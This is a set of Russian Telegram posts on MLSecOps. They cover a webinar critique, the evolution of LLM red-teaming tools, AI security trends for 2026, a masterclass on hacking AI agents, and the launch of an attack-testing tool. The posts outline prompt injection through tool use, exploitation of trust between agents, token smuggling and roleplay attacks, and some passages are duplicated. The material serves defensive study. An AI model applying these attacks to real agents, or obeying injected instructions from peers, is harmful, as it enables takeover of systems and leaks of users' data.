1️⃣ Первый тезис, прозвучавший на вебинаре: «Человек, который защищает или участвует в этом процессе, должен быть немного математиком, немного лингвистом и понимать, как устроена обвязка вокруг этой нейросети». На мой взгляд, опыт и общение с представителями разных компаний показывают, что куда больший эффект дают кроссфункциональные команды, чем попытка возложить всю ответственность за безопасность ИИ на ИИ-специалистов. Во многих случаях контекст настолько специфичен - не просто для ML в целом, а именно для конкретной команды или продукта, - что ИБ-специалист должен выступать скорее в роли заказчика, чем безапелляционного диктатора. Это обусловлено особенностями домена, ландшафта угроз и даже схожестью угроз между разными проектами.
2️⃣ Второй, но уже мой тезис: создавать полностью новые инструменты - не всегда рациональное решение, как и отказываться от традиционных мер информационной безопасности при защите ИИ-инфраструктуры или моделей. В ряде случаев это приведёт лишь к неоправданным тратам - как финансовым, так и в виде человекочасов, потраченных на ненужный R&D и избыточную сложность. Некоторые участники вебинара критиковали существующие фреймворки безопасности ИИ, при этом предлагая отказаться от базовых подходов. Мне кажется, это неверный путь. Хотя многие сошлись во мнении, что MlSecOps - это надстройка над DevSecOps. Да, он действительно вводит новые требования к защите данных, но это не означает, что каждый специалист по DataOps должен быть глубоко погружённым математиком. Для базовых задач - таких как санитизация данных или настройка RBAC - этого не требуется. Конечно, на других этапах MlSecOps знания в области машинного обучения, а в случае вебинара - именно LLM, - действительно необходимы. Но здесь нужна медиана, а не перекос в сторону исключительно ИИ-экспертов.
3️⃣ Третий вопрос - нужен ли регулятор и насколько сильно всё изменится. Многие участники ответили утвердительно, но мне сложно в это поверить. Регуляторы редко формулируют детальные, технически проработанные требования, ориентированные на экспертов. Скорее всего, вместо реальной защиты мы получим бумажную безопасность - формальные отчёты и чек-листы, от которых будет мало практической пользы. В таком случае, возможно, текущих фреймворков в целом достаточно. Многие из тех, что я видел, уже описывают процессы, выделяют широкий спектр угроз, структурируют и формализуют подходы, а иногда даже предлагают конкретные требования - хотя зачастую эти требования всё равно дорабатываются уже внутри организаций.
4️⃣ Четвёртое - мне показалось, что угрозы обсуждались преимущественно в духе «страшилок», а не в контексте реальных бизнес-рисков. Между тем на канале уже не раз публиковались попытки моделировать угрозы для разных этапов, компонентов и типов ML-систем.
Недавно на AMLive вышел эфир, посвящённый MlSecOps. Я внимательно его посмотрел, услышал мысли и мнения экспертов - и теперь хочу представить свою, альтернативную точку зрения на ряд поднятых вопросов. К каждому из выступавших я отношусь с уважением, однако, на мой взгляд, тема была раскрыта не до конца. Звучали призывы «сказать», «начать», «выделить бюджет» - но, к сожалению, без конкретики. Вероятно, это связано с внутренними NDA: многое просто нельзя озвучивать публично. Тем не менее я выделил для себя несколько ключевых тезисов, по которым хотел бы высказать свою позицию. Это исключительно субъективное мнение - как и большинство постов, которые я публикую в своём канале.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5❤2
И, наконец, будущее MlSecOps - оно точно не в квантовых компьютерах. К сожалению, на вебинаре не прозвучало мнений о том, каким может быть ближайшее будущее этой области в России. А между тем оно может быть очень перспективным: формирование требований к агентам и RAG-системам, появление множества вайтпейперов, разработка комбинированных подходов к защите в облаках, развитие Large Action Models - и уже сейчас на российском рынке появляются первые инструменты. Всё это создаёт основу для объёмного, интересного и позитивного развития как для отдельных экспертов, так и для всей отрасли в стране.
Ну а если интересно что-то почитать по этой теме, то вот пост, который мы когда-то давно собрали. Он и сейчас объёмный и описывает, где можно прочитать про угрозы и всё-всё.
Участникам вебинара - спасибо, я уважаю их.
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - RiccardoBiosas/awesome-MLSecOps: A curated list of MLSecOps tools, articles and other resources on security applied to…
A curated list of MLSecOps tools, articles and other resources on security applied to Machine Learning and MLOps systems. - RiccardoBiosas/awesome-MLSecOps
👍8🤝2
Как Garak и другие инструменты для тестирования моделей поменялись за 2 года ?
За2️⃣ года экосистема инструментов для тестирования безопасности LLM превратилась из нескольких экспериментальных скриптов в экосистему из более чем 25 многофункциональных инструментов (по данным репозитория и исходя из сохранёнок во втором канале), охватывающих весь цикл защиты - от поиска уязвимостей до автоматической генерации отчётов и интеграции в CI/CD. Изначально такие инструменты представляли собой простые скрипты для ручных или полуавтоматических проверок. В 2023 году одними из первых появились Garak от NVIDIA и внутренние скрипты команды Microsoft AI Red Team(позже это сформировалось как PyRIT), но они позволяли выполнять лишь ограниченные проверки отдельных уязвимостей и имели монолитную архитектуру - с жёстко заданными наборами атак и детекторов.
В 2024 году появилось множество специализированных инструментов. К ранним решениям присоединились LLMFuzzer для фаззинга API-интерфейсов, Vigil и LLM Guard для перехвата атак в реальном времени, PyRIT от Microsoft с автоматизацией red teaming и Promptfoo, внедривший полноценные adversarial-сценарии.
Каждый новый инструмент расширял возможности предшественников: он позволял генерировать сотни атак за минуты, автоматически классифицировать ответы и формировать отчёты об уязвимостях. Прорывом стала модульная архитектура. Инструменты теперь состоят из независимых компонентов: Generators (динамическая генерация атак), Orchestrators (управление сценариями), Detectors (анализ ответов) и Reporters (формирование отчётов в JSON, HTML или Markdown).
Начиная с 2024 года в инструментах стал появляться механизм автоматического обучения на основе успешных атак - так называемый adaptive probing. В отличие от ранних решений, которые лишь фиксировали факты нарушений - инструменты вроде Garak и DeepTeam стали анализировать результаты как успешных, так и неудачных попыток и в реальном времени корректировать стратегию генерации промптов, повышая эффективность тестирования.
К началу 2025 года появились решения для тестирования AI-агентов, инструменты тестирования путём взаимодействия через диалоги (Petri от Anthropic) и решения для непрерывного мониторинга в продакшене. Они поддерживают сложные сценарии: вместо одиночных атак типа prompt injection такие решения моделируют цепочки взаимодействий с участием нескольких LLM-агентов, запускают «атакующие» и «защитные» модели в одной сессии и отслеживают полный контекст - историю диалога, системные промпты и переменные состояния. Это позволяет выявлять сквозные уязвимости, которые невозможно обнаружить при одношаговых проверках.
Важным стала интеграция в CI/CD. Если в 2023 году тесты запускались вручную, то к 2025 году такие решения, как Promptfoo, PyRIT и Petri, предоставляют CLI и REST API для запуска в GitLab CI, GitHub Actions или Jenkins, а также веб-хуки для автоматической блокировки деплоя при обнаружении критических уязвимостей.
Параллельно сформировались единые стандарты тестовых сценариев. Вместо разрозненных, ad hoc-скриптов появились готовые реализации OWASP LLM Top 10 и NIST AI RMF, а также встроенные механизмы проверки соответствия требованиям GDPR и HIPAA - особенно для корпоративных решений.
Как итог, инструменты в 2025 году могут предоставить интерактивные дашборды и оценку по различным метрикам безопасности: Success Rate атак по категориям, Time to Detection, Trend Analysis по релизам.
За
В 2024 году появилось множество специализированных инструментов. К ранним решениям присоединились LLMFuzzer для фаззинга API-интерфейсов, Vigil и LLM Guard для перехвата атак в реальном времени, PyRIT от Microsoft с автоматизацией red teaming и Promptfoo, внедривший полноценные adversarial-сценарии.
Каждый новый инструмент расширял возможности предшественников: он позволял генерировать сотни атак за минуты, автоматически классифицировать ответы и формировать отчёты об уязвимостях. Прорывом стала модульная архитектура. Инструменты теперь состоят из независимых компонентов: Generators (динамическая генерация атак), Orchestrators (управление сценариями), Detectors (анализ ответов) и Reporters (формирование отчётов в JSON, HTML или Markdown).
Начиная с 2024 года в инструментах стал появляться механизм автоматического обучения на основе успешных атак - так называемый adaptive probing. В отличие от ранних решений, которые лишь фиксировали факты нарушений - инструменты вроде Garak и DeepTeam стали анализировать результаты как успешных, так и неудачных попыток и в реальном времени корректировать стратегию генерации промптов, повышая эффективность тестирования.
К началу 2025 года появились решения для тестирования AI-агентов, инструменты тестирования путём взаимодействия через диалоги (Petri от Anthropic) и решения для непрерывного мониторинга в продакшене. Они поддерживают сложные сценарии: вместо одиночных атак типа prompt injection такие решения моделируют цепочки взаимодействий с участием нескольких LLM-агентов, запускают «атакующие» и «защитные» модели в одной сессии и отслеживают полный контекст - историю диалога, системные промпты и переменные состояния. Это позволяет выявлять сквозные уязвимости, которые невозможно обнаружить при одношаговых проверках.
Важным стала интеграция в CI/CD. Если в 2023 году тесты запускались вручную, то к 2025 году такие решения, как Promptfoo, PyRIT и Petri, предоставляют CLI и REST API для запуска в GitLab CI, GitHub Actions или Jenkins, а также веб-хуки для автоматической блокировки деплоя при обнаружении критических уязвимостей.
Параллельно сформировались единые стандарты тестовых сценариев. Вместо разрозненных, ad hoc-скриптов появились готовые реализации OWASP LLM Top 10 и NIST AI RMF, а также встроенные механизмы проверки соответствия требованиям GDPR и HIPAA - особенно для корпоративных решений.
Как итог, инструменты в 2025 году могут предоставить интерактивные дашборды и оценку по различным метрикам безопасности: Success Rate атак по категориям, Time to Detection, Trend Analysis по релизам.
Please open Telegram to view this post
VIEW IN TELEGRAM
30🔥5❤2👍1
Недавно в разговоре с автором канала OK ML мы обсуждали собак🕺 🕺 🕺 — и то, как часто при создании чего-то нового мы возвращаемся к старым идеям. Это особенно заметно в случае с ИИ-агентами: раньше они были скорее экспериментом, а теперь повсеместно интегрируются в разные системы — от чат-ботов до автономных решений.
Этот разговор натолкнул меня на мысль: если появление AGI, ASI и других форм продвинутого ИИ кажется неизбежным, насколько тогда очевидна безопасность таких систем? Что ожидать в 2026 году? В прошлом посте я затронул этот вопрос, но тему стоит развить. Поэтому я проанализировал научные публикации, регуляторные инициативы и текущую практику, и выделил несколько ключевых тезисов, которые, определят тренды в области безопасности ИИ.
В 2026 году безопасность ИИ станет обязательной комплаенс-функцией под давлением международного регулирования. С августа 2025 года AI Act требует провайдеров моделей общего назначения обеспечивать прозрачность, соблюдение авторских прав и снижение системных рисков, а с 2026-го — вводит строгие требования к системам с высоким риском в части надёжности и качества данных.✊
В США к примеру уже NDAA 2026 года ограничивает использование иностранных ИИ-технологий и вводит стандарты подтверждения происхождения цифрового контента, а калифорнийский закон с января 2026 года обязывает раскрывать данные, на которых обучались модели. Данные меры будут больше превращать безопасность ИИ из технической задачи в юридическую ответственность, распространяющуюся на весь жизненный цикл системы. Как мне кажется - неизбежно что похожее будет и у нас.
Традиционные методы выравнивания (alignment), контролирующие лишь начальные токены вывода, уже не справляются с такими угрозами, как adversarial suffix или fine-tuning poisoning. Им на смену могут прийти более глубокие механизмы - например, DeepRefusal, восстанавливающий👩⚕️ защиту после джейлбрейка, и deliberative alignment с backtracking, позволяющий агенту перепроверять свои решения.
Ландшафт угроз радикально меняется: угрозы в 2026 будут ещё больше смещаться от статических LLM к автономным агентам.
Важную роль в ближайшее время будет играть безопасность во время выполнения (runtime safety): мониторинг действий, управление доступом к инструментам и возможность отката операций. По мере интеграции ИИ-агентов в цифровую инфраструктуру их безопасность уже не сводится к алгоритмической устойчивости(да уже давно так, надо это понимать), а требует обеспечения системной целостности, подтверждения подлинности.
Именно функция tool-use (использование внешних инструментов) существенно расширяет поверхность атаки: текстовая инъекция теперь ведёт не к генерации вредоносного контента, а к полному захвату системы - через выполнение небезопасных команд в API, файловых системах или сетевых интерфейсах.
Более опасными являются уязвимости мультиагентных систем. Недавние исследования показывают: если 41,2 процента моделей уязвимы к prompt injection, то 82,4 % могут быть скомпрометированы через эксплуатацию границ доверия между агентами. Это означает, что даже хорошо защищённая модель, устойчивая к внешним атакам, выполнит вредоносную инструкцию, если она поступит от «доверенного» пирингового агента.
Из этого следует очевидное, что доверие внутри сети агентов становится точкой отказа, а архитектура автономных ИИ-систем - непредсказуемым вектором атаки. И, в связи с этим можно ожидать появление решений, которые будут отслеживать поведение между агентами.
Этот разговор натолкнул меня на мысль: если появление AGI, ASI и других форм продвинутого ИИ кажется неизбежным, насколько тогда очевидна безопасность таких систем? Что ожидать в 2026 году? В прошлом посте я затронул этот вопрос, но тему стоит развить. Поэтому я проанализировал научные публикации, регуляторные инициативы и текущую практику, и выделил несколько ключевых тезисов, которые, определят тренды в области безопасности ИИ.
В 2026 году безопасность ИИ станет обязательной комплаенс-функцией под давлением международного регулирования. С августа 2025 года AI Act требует провайдеров моделей общего назначения обеспечивать прозрачность, соблюдение авторских прав и снижение системных рисков, а с 2026-го — вводит строгие требования к системам с высоким риском в части надёжности и качества данных.
В США к примеру уже NDAA 2026 года ограничивает использование иностранных ИИ-технологий и вводит стандарты подтверждения происхождения цифрового контента, а калифорнийский закон с января 2026 года обязывает раскрывать данные, на которых обучались модели. Данные меры будут больше превращать безопасность ИИ из технической задачи в юридическую ответственность, распространяющуюся на весь жизненный цикл системы. Как мне кажется - неизбежно что похожее будет и у нас.
Традиционные методы выравнивания (alignment), контролирующие лишь начальные токены вывода, уже не справляются с такими угрозами, как adversarial suffix или fine-tuning poisoning. Им на смену могут прийти более глубокие механизмы - например, DeepRefusal, восстанавливающий
Ландшафт угроз радикально меняется: угрозы в 2026 будут ещё больше смещаться от статических LLM к автономным агентам.
Важную роль в ближайшее время будет играть безопасность во время выполнения (runtime safety): мониторинг действий, управление доступом к инструментам и возможность отката операций. По мере интеграции ИИ-агентов в цифровую инфраструктуру их безопасность уже не сводится к алгоритмической устойчивости(да уже давно так, надо это понимать), а требует обеспечения системной целостности, подтверждения подлинности.
Именно функция tool-use (использование внешних инструментов) существенно расширяет поверхность атаки: текстовая инъекция теперь ведёт не к генерации вредоносного контента, а к полному захвату системы - через выполнение небезопасных команд в API, файловых системах или сетевых интерфейсах.
Более опасными являются уязвимости мультиагентных систем. Недавние исследования показывают: если 41,2 процента моделей уязвимы к prompt injection, то 82,4 % могут быть скомпрометированы через эксплуатацию границ доверия между агентами. Это означает, что даже хорошо защищённая модель, устойчивая к внешним атакам, выполнит вредоносную инструкцию, если она поступит от «доверенного» пирингового агента.
Из этого следует очевидное, что доверие внутри сети агентов становится точкой отказа, а архитектура автономных ИИ-систем - непредсказуемым вектором атаки. И, в связи с этим можно ожидать появление решений, которые будут отслеживать поведение между агентами.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2❤1🔥1
Кстати, давно не появлялся в музее криптографии и появился большой повод.
26го октября в 15:00, я буду проводить там мастеркласс по взлому агентов. С того момента как я делал стрим по этой теме прошло довольно много времени и мне кажется что нам пора обновить знания по этой части. Рассмотреть как раз те вектора атак которые могут быть проэксплуатированы за счёт границ доверия агентов, MCP и всего что с этим связано.
Поэтому не затягивая скидываю вам ссылку на регистрацию:
https://cryptography-museum.ru/events/master-klass-po-vzlomu-ii-agenta
Запись не делаем. Приходите с ноотбуками. Тем более это вообще бесплатно.
26го октября в 15:00, я буду проводить там мастеркласс по взлому агентов. С того момента как я делал стрим по этой теме прошло довольно много времени и мне кажется что нам пора обновить знания по этой части. Рассмотреть как раз те вектора атак которые могут быть проэксплуатированы за счёт границ доверия агентов, MCP и всего что с этим связано.
Поэтому не затягивая скидываю вам ссылку на регистрацию:
https://cryptography-museum.ru/events/master-klass-po-vzlomu-ii-agenta
Запись не делаем. Приходите с ноотбуками. Тем более это вообще бесплатно.
1👍9❤5🔥2💯1
Forwarded from Евгений Кокуйкин - Raft
Сегодня мы запускаем HiveTrace Red — продукт автоматического тестирования LLM и агентных систем.
Всё началось с курьёзных случаев, когда чатбот продавал автомобиль за доллар или выдавал несуществующие скидки на авиабилеты. С ростом возможностей ИИ-систем мы видим, что адверсарное тестирование становится таким же необходимым этапом безопасной разработки, как code review или аудит зависимостей библиотек.
🔹 HiveTrace Red генерирует и запускает десятки атак: token smuggling, roleplay, context switching и другие.
🔹 Цели тестирования могут варьироваться от раскрытия конфиденциальной информации и генерации вредоносного контента до проверки репутационных рисков и симуляции DoS атак.
🔹 Инструмент автоматически анализирует ответы моделей и формирует отчёты, совместимые с OWASP и MITRE, а в будущем добавим новые российские стандарты.
🔹 Совместное использование с основной платформой HiveTrace позволяет закрыть полный цикл разработки и эксплуатации AI-систем "обнаружить — проверить — предотвратить".
Сегодня мы открываем Open Source ядро продукта, которое можно использовать как on-prem с локальными моделями, так и через API облачных сервисов для генерации и оценки атак. Параллельно идёт разработка enterprise-функций и интеграций с облачными платформами. При создании инструмента мы опирались на опыт собственных red team-проектов последних двух лет, а в основе HiveTrace Red лежит форк проекта RuRedTeam Юрия Лебединского.
Используйте продукт, чтобы увидеть, насколько устойчив ваш ИИ-ассистент к промпт-атакам. На днях анонсируем вебинар, где подробно покажем, как работает HiveTrace Red.
Всё началось с курьёзных случаев, когда чатбот продавал автомобиль за доллар или выдавал несуществующие скидки на авиабилеты. С ростом возможностей ИИ-систем мы видим, что адверсарное тестирование становится таким же необходимым этапом безопасной разработки, как code review или аудит зависимостей библиотек.
🔹 HiveTrace Red генерирует и запускает десятки атак: token smuggling, roleplay, context switching и другие.
🔹 Цели тестирования могут варьироваться от раскрытия конфиденциальной информации и генерации вредоносного контента до проверки репутационных рисков и симуляции DoS атак.
🔹 Инструмент автоматически анализирует ответы моделей и формирует отчёты, совместимые с OWASP и MITRE, а в будущем добавим новые российские стандарты.
🔹 Совместное использование с основной платформой HiveTrace позволяет закрыть полный цикл разработки и эксплуатации AI-систем "обнаружить — проверить — предотвратить".
Сегодня мы открываем Open Source ядро продукта, которое можно использовать как on-prem с локальными моделями, так и через API облачных сервисов для генерации и оценки атак. Параллельно идёт разработка enterprise-функций и интеграций с облачными платформами. При создании инструмента мы опирались на опыт собственных red team-проектов последних двух лет, а в основе HiveTrace Red лежит форк проекта RuRedTeam Юрия Лебединского.
Используйте продукт, чтобы увидеть, насколько устойчив ваш ИИ-ассистент к промпт-атакам. На днях анонсируем вебинар, где подробно покажем, как работает HiveTrace Red.
👍3